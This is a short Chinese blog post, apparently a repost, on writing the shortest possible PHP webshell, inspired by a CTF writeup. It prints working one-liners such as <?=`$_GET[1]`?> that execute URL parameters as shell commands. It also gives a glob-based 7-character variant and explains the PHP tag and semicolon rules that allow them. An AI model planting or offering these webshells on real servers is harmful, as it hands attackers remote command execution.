PHP最短webshell的思考

標籤：目錄   data-   linu   寫法   標籤   需要   str   文章   開啟   

轉自：http://ecma.io/483.htmlThe shortest webshell of PHP 

某天閑逛wooyun，發現一篇挺有意思的文章————《32C3 CTF 兩個Web題目的Writeup》。其中提到了兩個比較有意思的東西：

• The shortest webshell of PHP
• PHP執行運算子反引號

上面提及的文章，我讀前幾遍的時候是很費解的！後來，土司的P牛給我一些指點，豁然開朗

Google “the shortest webshell”

 

 

1	<?=`$_GET[1]`?>

google得到的結果之一如上所示，一共15個字元。這裡比較有意思的是

• php.ini需要開啟short_open_tag後才能使用短標籤，才能使用 <?= 代替 <? echo
• php中使用分號分隔語句進行解析
• • 最後一行不需要分號
  • php多條語句可以寫在一樣，但是需要分號分隔
  • 多個分號之間只要是空白符，php是允許的！(有待考究)

 

 

1	<?=`$_GET[1]`;

google得到的最短的webshell如上所示，一共14個字元

• 這裡去掉了閉合標籤，但是加上了分號
• 最後一行不需要分號，但是一定需要閉合標籤！
• 此外，這種寫法嵌套在其它檔案中是不可行的，那麼就必須寫上閉合標籤！

linux中bash的妙用

 

 

1

<?=`*`;

 

一個7個字元，這七個字元能做什麼呢？

在linux系統中，在終端運行*與上面的作用是一樣的！

• *用於匹配目錄下的所有檔案名稱(包括目錄名)。
• 反引號就是執行運算子，將目錄下的檔案名稱以命令的形式進行執行！接下來就是linux的東西了

PHP最短webshell的思考